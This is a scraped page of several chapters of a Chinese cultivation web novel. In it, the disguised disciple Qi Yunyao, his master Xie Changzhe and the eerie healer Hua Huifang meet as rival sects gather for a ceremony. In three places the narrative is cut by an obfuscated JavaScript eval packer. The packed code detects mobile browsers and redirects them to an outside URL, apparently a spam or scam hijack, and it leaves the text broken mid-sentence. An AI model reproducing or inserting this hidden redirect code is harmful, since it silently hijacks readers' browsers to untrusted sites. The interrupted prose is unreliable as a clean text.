旁人看不出来很正常,但祁灵昭和祁余天却是断断不会认错。 这个穿着骚包粉色外袍嘤嘤嘤怪叫的男人,赫然就是十年前离家出走的西门二公子——祁云耀! 4. 来客 祁灵昭强压下心头翻涌的恐慌,刻意放平声线,气焰却已消减大半:“无霜姐,他欺辱你了么?” 祁余天眉心一跳,刚要开口阻拦,手臂就被肖严谨死死抱住。肖严谨那双圆溜溜的大眼睛亮得惊人,一眨不眨地望着他,满是哀求,显然是想让他先别当和事佬,好亲眼看看这场热闹,涨涨世面。 尹无霜明知此事不必闹大,可瞥见那对师徒勾肩搭背的亲昵模样,心头便如鲠在喉,故意负气开口:“不过是些口角之争——” “道歉!” 祁灵昭怒目圆睁,死死盯着祁云耀。说不清是为好友出头的愤懑,还是气他十年杳无音信、让家中为遮掩此事费尽心力的怨怼。 祁云耀心中亦是惊骇。他早知此次拜师大典,谢长泽会邀天盟地宗前来观礼,却万万没料到,西门竟真的派人来了,来的还是大哥和小妹。 他心里纠结成一团乱麻,面上却硬撑着那副娇纵草包的姿态,轻蔑地扫了祁灵昭一眼,冷嗤一声:“凭什么?” “青云剑庄既已向凌云阁提亲,无霜姐便是你板上钉钉的师母!顶撞师长,你就该道歉!” “我偏不!”祁云耀被她这么一激,陡然找回了从前在家和祁灵昭大吵七天七夜的架势。 双方剑拔弩张,互不相让,气氛紧绷得仿佛一触即发。 米长老见状,早已带着一众吓得魂飞魄散的小弟子,贴着墙根轻手轻脚溜得无影无踪。 祁余天望着眼前的架势,恍惚间竟梦回十几年前弟弟妹妹激烈争执,吵到最后一个往左跑,一个往右冲,他只能呆立在原地,左劝不是,右拦也不是,满心只剩浓重的无力感,恨不得将自己一劈为二,追不上人死了也好。 好在这回要直面选弟弟还是选妹妹这道世纪难题的终究不是他。 祁余天几不可察地吁了口气,看向谢长泽的目光里,掺了几分不易察觉的怜悯。 只是谢长泽显然比他从容得多,又或者说,在他的取舍里,从来就不存在第二种选择。 “无霜,我知晓你的委屈。” 谢长泽开口,径直越过祁灵昭,目光落向尹无霜,“但如灵昭所言,你我于尧云而言皆是师长。小辈犯错本就在所难免,何必揪着这点小事不放?” “长泽?”尹无霜眸中满是不敢置信,未去深究他话里的深意,只是轻唤眼前人,似要确认这陌生的模样,是否还是自己记忆中的谢长泽。 “我同你解释过的。”谢长泽轻轻推开化名为尧云的祁云耀,旋即以护持的姿态将人挡在身后,“先前你我如何相处,我已记不大清。自重楼……自十年前起,我便记不太清从前的事了。你若实在觉得委屈,这婚约便作罢。我会向百家发声明,断不会玷污你的名声。” 此言一出,在场众人皆面色骤变。 “你——”祁灵昭还欲争辩,嘴却被祁余天慌忙捂住。 尹无霜嘴唇翕动数息,终是一言不发,落寞垂落眼睫,似是认命般低声道:“好,我不再追究。” 祁云耀听见谢长泽提及“重楼”二字,脸上傲慢瞬间凝住,眼底翻涌着近乎恶毒的戾气,从谢长泽身后死死盯着他的背影。 不过片刻,他便敛去所有情绪,恢复如初,依旧不屑地立在谢长泽身后,甚至还对着被祁余天捂嘴,怒目圆睁的祁灵昭,抛去一个欠揍又挑衅的眼神。 这场闹剧,便这般草草收尾。 谢长泽唤来打杂弟子,命人将四人送离主峰往客舍去,途中还拦下肖严谨,以高价买下他的留影石,当场捏碎销毁。 而后他以极致谦卑温和的语气,恳请四人守住他近乎“失忆”的实情。 肖严谨收了一大笔钱自然守口如瓶,毕竟地宗天机阁的宗旨就是“给钱的是大爷”;祁余天脑子压根转不过来这些弯弯绕绕,乐呵呵满口应下;祁灵昭只冷哼一声,缄口不言;唯有尹无霜,回客舍后便闭门不出,拒见任何人。 另一头,祁云耀折返弟子房,几名弟子鱼贯而入,替他梳洗打扮。 拜师大典尚隔两日,与山下看热闹的散修不同,天盟地宗六派向来要端足架子。 毕竟谢长泽是谢长泽,谢青是谢青——谢青能压得住六派,谢长泽却未必。 是以除却就近早到前来帮衬的凌云阁,在最西南提早动身的西门,还有提前赶到做机关器物买卖的天机阁,余下还是剩下地宗药王谷、仙盟玉虚仙宗和禅宗三派未传来什么消息。 按原计划,西门与天机阁本也该等其余五派到齐,明后两日再上山。偏遇上尹无霜受气,西门小妹拉着大哥冲上山讨说法,中途不知怎么还捎带了个看热闹的天机阁弟子,搅乱了全盘安排。 青云剑庄原是让祁云耀到临近大典最后一日,再随掌门去山口迎贵客,经此闹剧,五派聚不齐,只得日日守在山口,等余下三门抵达。 梳洗完,祁云耀依旧穿那件扎眼的粉袍,头发却被细心编作长辫搭在肩头。小弟子们本想替他挽髻,显得稍微正式点,偏这少爷不是喊头皮紧,就是叫扯了他头发,唧唧歪歪闹个不停,众人只得妥协,给他梳了根长长的麻花辫。 青云剑庄山口已浮着些零零星星的身影,皆是天机阁弟子。 这门派本就没什么规矩,弟子出山时候稀稀拉拉,入客舍也三三两两,有听闻肖严谨已经上山了,便都窸窸窣窣往山上赶。 祁云耀随谢长泽领着一众弟子立在山口迎候,站了个把时辰,才上来一两个天机阁的人。 祁云耀站得倦极,腰腹处隐隐作痛,不必刻意表演,那股阴沉沉的不耐便又翻涌上来。 “师尊,我——” 他刚想开口请辞回去休息,眼前却冷不丁被金光晃了眼。 祁云耀眼一眯,再看,金光又闪,反复几回,心头不忿更甚,正要发作,那片金光已至近前。 他这才恍然,哪是什么金光,分明是一群光头! 只见青云剑庄的石阶上,齐齐整整立着十数名光头僧人。光头圆溜溜的,在日头下晃得满眼金光,身上袈裟绣的金线也熠熠生辉,个别僧人手中的金色禅杖也泛着光,一众身影凑在一起,刺得人睁不开眼。偏偏他们个个半眯着眼,垂着头,半点不受金光影响,神色肃穆。 为首那名僧人身侧,还立着个衣袂飘飘,头戴纱笠的身影。 那人浑不受金光干扰,正与身侧僧人低声交谈,语笑晏晏。其身后跟着一男一女两个小童,却是被满目的金光耀得睁不开眼,苦不堪言。刚想偷摸对视一眼,又被彼此眉心的金痣闪了眼,只得埋着头紧紧跟定面前那人。 一行人行至近前,踏入青云剑庄大门投下的阴影,那晃眼的金光才稍稍敛去,祁云耀与两个小童总算松了口气,方能正常视物。 祁云耀抬眼望去,为首僧人额间那枚金色小痣,似是比他见过的所有半仙的金痣都要耀眼,似有微光流转,刺得他牙根发酸,只想别开眼。 等他余光一扫,又发觉除了这为首僧人,其余僧人的额间皆是空荡荡的,竟全是凡人。 一旁的谢长泽,自见了那戴纱笠的人,神色便透出几分古怪。似想上前亲近,又藏着几分难以察觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢长泽此前曾向陆续上山的天机阁弟子打探过消息,只知玉虚仙宗与禅宗早已互通消息,得知已有三派上山,便结伴而来。 唯有药王谷行踪诡谲,便是消息最灵的天机阁,也探不到其实际方位。 说来也难怪,药王谷分东西两峰,东峰由谷主灵枢执掌,西峰却是长老花秽芳一言堂。灵枢与风幕卿素来不和,此番大概率不会派人参会;而不久前,谢长泽才因祁云耀的事得罪了花秽芳。这般境况,药王谷究竟会不会来人,谁也说不准。 日暮西沉,天色渐暗。 按肖严谨统计的名单,前一个时辰,他们刚迎到天机阁最后一位弟子。 青石阶上,依旧空空荡荡,再无来客的身影。 祁云耀站了整整一日,只觉头晕眼花,腰腹处的隐痛早已转为剧烈绞痛。好在夜色渐浓,将他脸上的青白气色遮掩大半,加之那两个小童一直有一搭没一搭地缠着谢长泽说话,倒也没让谢长泽留意到他的异样。 他正暗自庆幸两个小孩分走了谢长泽的注意力,便听见谢长泽开口问道:“云儿怎么不说话?” 祁云耀强压下腹间剧痛,故作刁蛮:“我见师尊同两位师弟说得开心便不插嘴了,免得扰了师尊的兴致。” 话音刚落,不等谢长泽应声,阿和与阿璟便率先开了口。 阿和歪着头,满脸疑惑:“是大哥哥说话很难听吗?不然怎会怕打扰谢掌门的兴致?” 阿璟立刻附和:“不过大哥哥说话的确难听,这般问,是想让谢掌门如何作答呢?” 阿和接着说道:“若谢掌门坦言,的确同我们说话更开心——” 阿璟接口:“那大哥哥定然不高兴。” 阿和又道:“若谢掌门违心说,同我们说话不开心——” 阿璟随即接上:“那我和阿和就不高兴了。” 两人一唱一和,说完便一左一右抱住谢长泽的大腿,仰着小脸齐齐感叹:“做掌门好难呀,谢掌门真是辛苦。” 5. 诡医 这小插曲一闹,祁云耀当即顺杆爬,抱臂冷哼一声,刻意又往旁挪了挪,离谢长泽远了些。 谢长泽似想开口拦阻,却被阿和阿璟一左一右抱牢大腿,半点动弹不得。 祁云耀瞧着这光景,干脆直言:“反正药王谷来不来还没个准数,我在这站了一整天,早累透了。师尊有两位师弟陪着,我便先回去歇息了。” 言罢转身就走,半分师长礼仪都不顾。 刹那间,变故陡生。 祁云耀被腹痛搅得五感迟钝,等到第六疯狂叫嚣让他赶紧撤退时,一柄薄刃已冰凉贴紧他的脖颈,堪堪抵着跳动的脉搏。 “云儿!” 谢长泽瞬间拔出腰间“兰泽”剑,剑尖直指向那突现的不速之客。阿和阿璟也被这突如其来的黑影吓得连忙后退,紧紧抱住彼此。 祁云耀僵在原地,惊恐瞪大眼,不敢置信地看着怀间不知何时缠上来的黑袍少年。 少年身形娇小,双腿死死箍住他的腰,一手亲昵勾着他的颈,另一手捏着精铁短匕,刃尖贴在他脉上,分毫不离。 “好久不见啊——” 少年抬头,宽大的黑斗笠应声滑落,月光下,一头银发熠熠生辉,衬着张笑容森然的脸。眉间金痣在夜色里亮得刺目,嘴角裂得夸张,似要扯到耳后,露出两排尖锐的齿,那模样,即便没有短匕,这口尖牙也像下一秒就要咬碎他的喉咙。 祁云耀似是被惊得失了神,僵在原地不敢稍动。 谢长泽不敢冒险,几步上前便要刺向少年,却见怀间人蓦然一动。勾着祁云耀脖颈的手猛地往下一推,竟硬生生将他整个人翻了个面。 谢长泽收剑不及,剑刃堪堪停在半空,再往前一分,便要直刺祁云耀胸口。 “如何呢?” 少年的手重新勾住祁云耀的颈,手臂用力,下半身快速换腿,竟强迫祁云耀以横抱的姿势,将自己稳稳抱在怀中。 少年看着娇小,重量却着实不轻,祁云耀只得伸手托住他的背与膝弯,才勉强没被勒断脖子。而这姿态,正合了少年的意。他将头搭在祁云耀肩头,短匕依旧抵着脉门,鼻尖却凑向祁云耀另一侧脖颈,眯眼陶醉地嗅闻,像是遇上人间至味,发出一声满足的喟叹。 “花秽芳!”谢长泽目眦尽裂,死死盯着两眼发直不敢动弹的祁云耀,以及挂在他身上的少年,素来温润和煦的君子气度,此刻荡然无存。 “嗯——”花秽芳狡黠睁眼,上下扫视一圈,最后漫不经心点评,“比起那‘大贱人’,你装模作样的功夫,差得有些远呢。呵呵呵。” 谢长泽如遭雷击,身形顿了一瞬,却转瞬回神,剑刃依旧直指花秽芳:“你来做什么?” “你这话可真招笑。”花秽芳将胸腔紧紧贴住祁云耀,脚尖一下下轻点他的腰侧,瞧着心情极好,“自然是替药王谷,来参加青云剑庄的拜师大典。” “请柬呢?”谢长泽分毫不敢松懈,目光锁死他的一举一动。 花秽芳却懒洋洋的,唇瓣贴向祁云耀的耳廓,吐气轻软:“抱紧我哦。” 话音落,他松开环颈的手,从衣襟里摸出一份请柬,朝谢长泽随手一丢。 不知是力道不足,还是故意为之,请柬飞至半空便坠了地,落地后却余劲未消,又往前滑了数米才堪堪停住。而谢长泽的目光始终钉在花秽芳身上,分毫不敢移开。 阿和阿璟见状,忙怯生生上前捡起请柬,双手递到谢长泽面前,软糯的声音裹着浓重的哭腔,抖得不成样子:“长泽掌门,是、是真的请柬。” 谢长泽飞快扫过请柬落款,眼底杀意稍缓,却也只是微乎其微的一丝,手中兰泽剑始终未曾放下,暗红色剑穗在月光下悠悠晃荡,映得剑刃冷光更甚。 “既是剑庄客人,何必持刀指着我徒儿?” “我这不是许久没见小云云,心里想念得紧,同他开个玩笑罢了。”花秽芳从善如流收了短匕,却半点没有从祁云耀身上下来的意思,反倒换了双手环颈的姿势,将脸贴得更近,亲昵追问,“小云云,想不想我啊?” 祁云耀面上恐慌更浓,眼眶里凝着水光,似有泪水要落,整个人抖得厉害,像下一秒就要被吓晕过去。 见他迟迟不答,花秽芳再度贴近,吐气如兰绕在他耳畔:“我可是,想死你了呢。” “死”字被他咬得极重,齿间似含着戾气,仿佛下一刻就会一口咬断祁云耀的脖颈。 祁云耀手脚俱颤,托着他的手臂明显脱力,眼看就要抱不稳。 谢长泽当即沉声道:“若你是真心前来参会,便随我去客舍安置,在山门同我弟子纠缠,成何体统。” “好啊。”花秽芳总算大发慈悲,从祁云耀身上跳落。 祁云耀当着几人的面,不顾形象地大口喘着气,胸口剧烈起伏,那模样逗得花秽芳咯吱咯吱笑个不停,银发在月光下折射出诡谲的光。 “小云云带我去客舍吧,让我瞧瞧,你给老主顾准备了什么样的屋子。” 谢长泽收剑,沉脸走在前面带路。花秽芳笑嘻嘻地伸手,一把牵住祁云耀的手腕,紧紧攥着跟在身后。 无人察觉,祁云耀脸上的惨白悄然褪去几分,方才一直虚虚弯折的腰,也悄然挺直了。 阿和阿璟被路上撞见的小弟子领走,送去米长老处暂且安置,山门处只剩三人一前两后,往客舍方向行去。 “你真是一点没变。”花秽芳捏着祁云耀的手凑到鼻尖,深深嗅了一口,喉间咕咚一声咽了口唾沫,笑容阴森地睨着他,“还是童子的味道?谢长泽没和你双修?” 这话问得直白又放肆,全然不顾另一位当事人就走在几步开外的前头。 祁云耀似被这话吓傻了,垂着眸闭口不言,周身透着怯意。 花秽芳笑眼直勾勾盯着他,却瞥见这人目光幽深,正凝着谢长泽腰间兰泽剑的红剑穗,眼底半分惧色也无。 一路上遇着不少夜游乱窜的天机阁弟子,谢长泽早已敛了戾气,恢复往日温雅模样,彬彬有礼颔首招呼,脚步却未半分停顿,径直往客舍最深处的院落走去。 行至西门安置的院落外,正巧被祁灵昭撞见。 她原以为只有谢长泽一人,张口便要询问,冷不丁瞥见他身后祁云耀那眼神,就像是饿了十数日的狼见着肉,凶戾得骇人,到了嘴边的话竟噎得一字说不出。 谢长泽只当她是被花秽芳的模样吓到,脚步微顿,言笑晏晏道:“灵昭姑娘,这位是药王谷西峰长老花秽芳,此次代药王谷前来参会。” 旋即又转向花秽芳,挂着无懈可击的浅笑,仿佛前半时辰的剑拔弩张从未发生:“这位是西门祁灵昭姑娘,同行的还有西门公子祁余天。” 话落似想起什么,转头问祁灵昭:“你家大哥呢?怎么不见他?” “许是又去与人切磋了。”祁灵昭讪讪应声,目光总忍不住往祁云耀身上瞟,祁云耀也看她,眼神却淡得很,显是不愿多言。 “果然少年意气。”谢长泽轻笑感慨,与祁灵昭颔首作别,领着二人行至最靠山的一间小院前站定。 起初便料着药王谷来人寥寥,甚至可能无人前来,是以青云剑庄备下的这间院落,本就是客舍中最小的。却也亏得米长老细心,该扫的、该置的,一应打理得妥帖。 谢长泽推开院门,清雅幽静的院落便入了眼:东西各设一间厢房,主屋背靠山林,晚风卷着虫鸣鸟叫飘来,倒有几分意境。他侧步让开通路。 花秽芳立在门口扫了圈,似甚为满意,抬步入院时,忽转头睨着师徒二人。 谢长泽没来由眉心一跳,下一秒便听花秽芳语带戏谑,尾音勾着轻佻:“极品炉鼎可不好找,谢掌门若是不珍惜,不如还给我?我定好好疼爱小云云~” 祁云耀瞬间换了模样,满脸惧意地躲到谢长泽身侧,手慌忙搭上他的腰,脚步微蹲,恨不得整个人都缩到他身后去。 谢长泽语气一凛,沉声道:“不劳长老费心。” 话音落,院门生风怦然合上,门上流光婉转的禁咒在夜色里熠熠生辉,却隔不断院内传来的花秽芳那咯吱咯吱的诡笑,在山林间飘了老远。 “啊呀,师尊!” 祁云耀突然惊叫一声。谢长泽心头一紧,转头还以为他遭了花秽芳的暗咒,却见他手心攥着兰泽剑上那枚红剑穗,脸上满是仓皇无措。 “我不小心把您的剑穗抓下来了。”他语气发颤,瞧着还没从方才的惊惧中缓过神。 谢长泽却温声一笑,抬手轻拍他的肩安抚:“无事,掉了便掉了。天色不早,你也早些回房歇息。” 祁云耀怯怯点头,忽又抬眼,眼底凝着几分不安:“万一他夜里来找我——” “不会的。”谢长泽语气笃定,“剑庄的禁制,他破不开。” “好。” 祁云耀低低应了,转身便往主峰弟子寝室去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177144|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >回房后被小弟子伺候着梳洗妥当,他躺到床上,手心却紧紧攥着那枚暗红老旧的剑穗,心底甜丝丝的,翻来覆去全无睡意,只将剑穗在掌中翻来覆去地摩挲,越看越欢喜。 末了,他凑上前,小心翼翼在剑穗上印下一个吻,似亲吻世间最珍贵的宝物,脸上漾开痴痴的笑,将剑穗贴在胸口,十指紧扣按着,郑重得仿佛要将它嵌进自己的胸膛里。 他索性坐起身,借着窗棂漏进的月光,再一次细细打量这剑穗。指尖一寸寸滑过磨出毛边的绳结,又小心翼翼摩挲着穗子中间坠着的那枚小巧玲珑的朱红玛瑙。 指尖捏着玛瑙仔仔细细看,怎么都看不够,心脏砰砰砰狂跳,像一颗沉寂许久的心脏,骤然重新搏动起来。 祁云耀只觉胸膛似要被这心跳撞开一个大洞,全身上下的筋骨脉络都在叫嚣,想要让这枚剑穗,与自己融为一体。 心跳正烈时,腰腹部突然传来一阵尖锐的抽痛。 他脸上的笑意瞬间凝住。 忙将剑穗郑而重之收进储物袋,重新披上衣袍,轻手轻脚溜出弟子寝室,借着夜色的遮掩,一步步往深山里挪去。 花秽芳哼着支不知名的小调,像是几百年前坊间流行的老曲,手上动作却半点不慢,指尖翻飞间,将药瓶一个个摆上案头。 旁侧浴桶早已注满温水,他指尖轻勾,瓶中药末窸窸窣窣落进水里,遇水便融,晕开一摊墨绿,缓缓往清澈的水波里漫开。 冷不丁,小屋的木门被轻叩了两声。 花秽芳哼歌的调子戛然而止,面上转瞬漾开那抹熟悉的、不怀好意的笑。 “进来吧。” 话音落,门板上笼罩的淡光禁制悄然消散。 木门被轻轻推开,门口立着那道身形高大的男人,正是祁云耀。 “你来得有些晚了。”花秽芳挑眉道。 “没办法,太欢喜了。”吊儿郎当的声音响起,不复白日里的刻意娇柔,是他原本的声线,沉冽又散漫。 “西门家的小姑娘长得真可爱。”花秽芳状似感慨,指尖把玩着一枚空药瓶。 “别惦记,她不会跟你走的。”祁云耀淡淡开口,挪步走到花秽芳身后,垂眸看着他往浴桶里添着各色药粉。 “好了——” 花秽芳忽然转头,目光直勾勾锁着面前的人,嘴角咧开,露出两排尖利的齿,眼底翻涌着兴奋的光。 “脱吧。” 两字落下,祁云耀闻言,丝毫没有犹豫,抬手便解了衣扣,沉默着将上衣尽数褪去。 褪去衣衫的男人身形挺拔匀称,肩背线条利落流畅,肌肉不显分毫臃肿,是常年练剑打磨出的漂亮肌理。可这般恰到好处的身段,却被一道狰狞的伤疤生生毁了美感。那道疤从左肋斜斜蜿蜒至右腰,狰狞得像是曾被人活生生对半劈开,边缘皮肉凹凸不平,泛着淡淡的粉白,看着格外骇人。 花秽芳盯着那道疤,眸光微动,围着祁云耀转了好几圈,目光一寸寸扫过那几近完美的□□,半点没有避讳。 “最近感觉怎么样?” 他一边问,一边从怀里摸出一个小本子,摊开,又不知从哪掏出支笔,伸舌舔了舔笔尖,便唰唰地记录着祁云耀的身体变化,神情认真。 “伤口已经不疼了,”祁云耀声音低沉,“但丹田处日日都有灼烧感,每逢月末之时最是严重,烧得根本无法入眠。” 花秽芳点点头,像是早有预料,突然伸手扣住他的手腕。那双手冰凉得几乎没有体温,指尖触及皮肤的刹那,激得人浑身汗毛倒竖,却愣是没敢躲,老老实实任由对方把脉。 花秽芳闭上眼睛,细细感受着指尖下脉搏跳动的规律,不过几息的功夫,便再次摊开笔记,添了几笔。近乎不在意道:“正常正常,炉鼎体本就是这样,没人帮忙疏解的话,迟早会把自己活活烧死的。” 祁云耀心头猛地一震,刚想开口追问,花秽芳却像是早就看穿了他的心思,率先开口堵了回去:“没用的,靠药物压制只会越来越严重。你迟早得找个人夜夜双修,不然,就只能等死。” 祁云耀心下骇然,面上却半点畏惧之色都没有,他定了定神,继而沉声问道:“若我不找人双修,单靠药物压制,还能活多久?” “噗嗤——” 花秽芳像是听到了什么极有趣的笑话,低笑出声,饶有兴味地上下打量着他,嘴角勾起一抹玩味: “情种啊——” 6. 惊吓 祁云耀勾唇笑了笑,本想耍帅装不在意地搭腔辩解,手刚放下些许,腰侧便被笔杆子狠狠抽了一下,痛得他嘶了一声。 “别动啊,小情种。” 花秽芳绕着浴桶又走了几圈,将需要记录的脉象尽数记好,收妥笔记,抬眼示意他进桶。 祁云耀脚尖探入药水时毫无异感,可整个人坐进去的瞬间,浑身骤然传来针扎般的刺痛。他刚撑着桶沿要起身,那刺痛却倏然消散,取而代之的是一股暖流,细细密密裹住他时痛时止的旧伤,像被一双温柔又有力量的手轻轻环住。像是被母亲抱着的暖意。 祁云耀舒服得眼皮发沉,险些睡过去,后脑勺冷不丁又挨了一记笔杆。 “啊呀!” 他怒瞪着花秽芳,对方却一脸坏笑,手托着腮凑过来,状似无意地问:“你都准备好了吗?” “什么?”祁云耀揉着后脑勺皱眉。 “取你故人遗物啊。”花秽芳挑眉,“当初不是说好了,你就上山取个东西?怎么,忙活几个月还没拿到手?” “他说会在拜师大典上给我。”祁云耀垂眸。 “哦——”花秽芳磨了磨尖牙,指尖捻着指甲盖,语气带着几分不耐,“那拜完师,你就跟我回药王谷。反正我答应你的都做到了,你该兑现承诺了。” “那是自然。”祁云耀泡在水里昏昏欲睡,忽然想起什么,强撑着精神抬眼,“前辈不觉得,这剑庄处处透着古怪么?” “是人,还是地?” “后山禁地。”祁云耀语气斩钉截铁。 “唔……”花秽芳闭眼凝神感应片刻,再睁眼时摆了摆手,“谢青乃天命之人,尸身未葬,禁地有几分异象,本就在所难免。” “我说的不是谢青!”祁云耀沉声道。 “那我便不知了。”花秽芳摊手,一脸无所谓,“你好奇,便自己去瞧便是。” 祁云耀闻言,心里稍稍安定。 花秽芳既敢这般说,便代表后山里的东西纵使有异,也并无致命危险,至少凭他的本事,足够应付。 谢长泽在花秽芳院外布下禁制,阻他外出,却不知修习数月青云剑庄功法的祁云耀,早已能解这门中禁制。 他从花秽芳屋中出来,立在月下思索片刻,径直转身往后山禁地去了。这一探,直待到天光破晓,才火急火燎冲回弟子房,进门便一头栽倒,满头冷汗浸透了衣鬓。 负责伺候他梳洗的小弟子掐着时辰,特意等日上三竿,才端着铜盆往弟子舍来。 轻叩房门,里头静悄悄的无人应声。小弟子心中困惑,喊了声“师兄,我进来了”,便推门而入,刚跨进门槛,脚下一绊,惊呼出声: “哎哟!” 铜盆应声落地,清水泼洒满地。小弟子顾不上收拾,目光直直落在面前不远处上——祁云耀歪倒着,双目紧闭,面色潮红得吓人。 他慌忙扑上前,抬手探了探鼻息,又摸上对方额头,指尖触到滚烫的温度,惊得他手脚发软。使尽全力将人拖到榻上后连滚带爬地大呼小叫着去找米长老。 剑庄的医师提着药炉,颤巍巍跟在脚步同样虚浮的米长老身后赶来,却见谢长泽早已坐在床沿,指尖抵着祁云耀腕脉,正试着用灵力压制那节节攀升的体温。 米长老脚步微顿,却半刻不敢耽搁,拽着医师便凑到榻前,为昏迷不醒的祁云耀诊治。 谢长泽随米长老退到室外,二人立在廊下,皆是满心焦急,不停转圈踱步。 米长老嘴唇翕动数息,到了嘴边的话几番欲出,瞥见谢长泽那副焦灼难安的模样,终究还是咽了回去,将满心疑问压进肚子里。 谢长泽的仙缘与“医术”相关。 这是当年米长老被谢青慧眼识珠带回剑庄时,她酒后偶然同他提及的。 虽未曾亲眼见过谢长泽行医,却也听闻过,昔日天盟地宗联合出任务,谢长泽曾数次以医术救人,手段颇为高明。 可刚才—— 米长老不动声色地抬眼,悄悄打量着廊下的谢长泽。那人凝着屋内的方向,脊背绷得笔直,恨不得扒在门框上往里望,满脸的焦急真切得很。 但他方才竟然是想以灵力压制升温。 米长老心底莫名生出一丝异样,像有根细刺,轻轻扎了一下,说不清道不明,却挥之不去。 “掌门!” 老医师颤巍巍从屋内走出,面色凝重得很,“尧小友这是被魇住了啊!” “魇住了?”谢长泽眉峰紧蹙。 “是,昨日定是受了极大的刺激,惊悸之下便被魇住了。”医师躬身回禀。 “那该如何解?”米长老急声追问,话音未落,便见谢长泽转身径直往外走,瞧方向竟是客舍。 “掌门?”米长老心头疑惑,连忙快步跟上。 “我去寻玉蝉方丈,请她来为云儿解魇。” 不多时,禅宗一众僧人便挤满了弟子舍。 祁云耀被从床榻移到地上,一众光头和尚围着他盘腿而坐,玉蝉方丈端坐于他头顶正上方,掌心轻托着他的后脑,口中缓缓诵读起经文。 霎时间,寝室内木鱼声、诵经声交织,声声不绝。 天机阁的弟子们听闻消息,早围得里三层外三层,扒着门框翘首以盼,只等和尚们出来便凑上去搭话。 祁灵昭和祁余天也来了,祁灵昭抱臂立在廊下,面色冷然,祁余天却满脸焦灼,刚想开口询问,胳膊便被祁灵昭狠狠一拧。 “别叫人看出你担心。”她压低声音。 “可他是我弟弟,我怎能不担心?”祁余天急得脸涨红。 “那你就假装里头躺的不是祁云耀。” “可我知道是他啊!” “别人不知道!傻子!”祁灵昭压着声斥他,昨日她稍作打探,便猜透剑庄上下竟无一人认出,这是西门家的二公子。既祁云耀有意隐瞒,她便不会贸然点破。 “那现在怎么办?”祁余天也放低声音,手足无措,“二弟在这拜了师,那西门那边怎么办?” “都说了让你装作不知道!” “可我知道啊!” “你脑子里除了打架能不能装点别的东西啊!”祁灵昭被他磨得心头烦躁,抬脚就往大哥小腿踹去,谁知对方纹丝不动,反倒磕疼了自己的脚尖,疼得她倒抽一口冷气,脸色更沉了。 “可爱的姑娘——” 一股浓郁药香骤然扑面,祁灵昭猝不及防打了个喷嚏,低头便见面前不知何时立了个黑斗篷小少年,个子堪堪到她肚脐处。 她垂眸看时,少年也抬了头,露出张人畜无害的小脸,正是昨日那药王谷西峰长老花秽芳。 花秽芳倒也懂些男女有别的规矩,没直接凑上去抱人,反倒矫揉造作地扯着嗓子,故作可爱道:“姑娘生得这般好看,有没有兴趣跟我去药王谷玩几天啊?” 祁余天起初没觉不妥,转念一想,若小妹真跟这小孩走了,回西门的便只剩自己一人,路上指不定被天机阁那群人哄着买些稀奇古怪的玩意儿,把钱财骗光,回头定要被爹娘的唾沫星子淹了。 他刚要开口阻拦,便听祁灵昭义正言辞吐出两个字:“不要。” 被拒后花秽芳也不纠缠,反倒对这硬气小姑娘又多了几分兴趣,多看两眼,旋即纵身跃上走廊。 趴在廊边扒着门框的天机阁弟子,个个消息灵通,早听过这位长老的诡异名声,他一靠近,离得最近的几人便刷啦啦散开,给他让出条宽敞小道。 花秽芳心情颇佳,又哼起那不知名的小调,吊儿郎当地踱到寝室门口。门敞着,原先叠着往里看的脑袋,见了他尽数慌忙躲开。 他探着头往屋里瞧了眼,见那满室诵经、祁云耀躺地的光景,不由嗤笑出声:“真是个不禁吓的娃娃。” 米长老和谢长泽正守在祁云耀身侧,闻言米长老满头雾水,谢长泽却眸光一沉,直将祁云耀被魇的缘由,算到了门口这人头上。 “哎哟哎哟,可别这么看我,吓死人咯。”花秽芳狡黠一笑,缩回头去。 戏看够了,恶作剧也做了,他美滋滋地转回身,往自己那小院去,一头扎进屋里,继续埋头捣鼓他的药石研究。 诵经声直持续到午后,祁云耀才堪堪睁开眼。 入目先是弟子舍的天花板,下一瞬,便看见玉蝉额间那颗熠熠生辉的金痣。 金痣? 半仙! 祁云耀面色骤变,喉头一阵翻涌,哇的一声便吐了出来。 因昨日几乎未进饮食,吐出的不过是些酸水,他被呛得连声剧咳,呕得撕心裂肺,似要将五脏六腑都呕出来一般,眼眶涨得通红,面色惨白如纸。 几时辰前在后山撞见的景象,此刻历历在目,他连想都不敢想,仅是稍一触及,那股刺鼻的恶臭便仿佛又缠上鼻尖。 强烈的刺激让他再度干呕,身体不受控制地抽搐起来,场面混乱不堪。 最终是离他最近的玉蝉眼疾手快,抬手一记手刀劈在他后颈,祁云耀才软倒在地,抽搐堪堪缓解。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177145|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁也没料到他醒转后的反应竟这般激烈,满室众人皆被吓了一跳。 老医师提着药箱哼哧喘着气上前,替他细细把脉,又掰开他的眼、捏开口鼻仔细察看,半晌才沉声道:“已无大碍了。方才该是魇症未散,分不清梦境与现实,让他再睡一觉便好。” 祁云耀一直昏睡到午夜,再次睁眼时,入目已不是弟子舍单调的天花板,而是层层叠叠花花绿绿的锦帐。 他缓缓撑着身子坐起,房中静悄悄的空无一人。 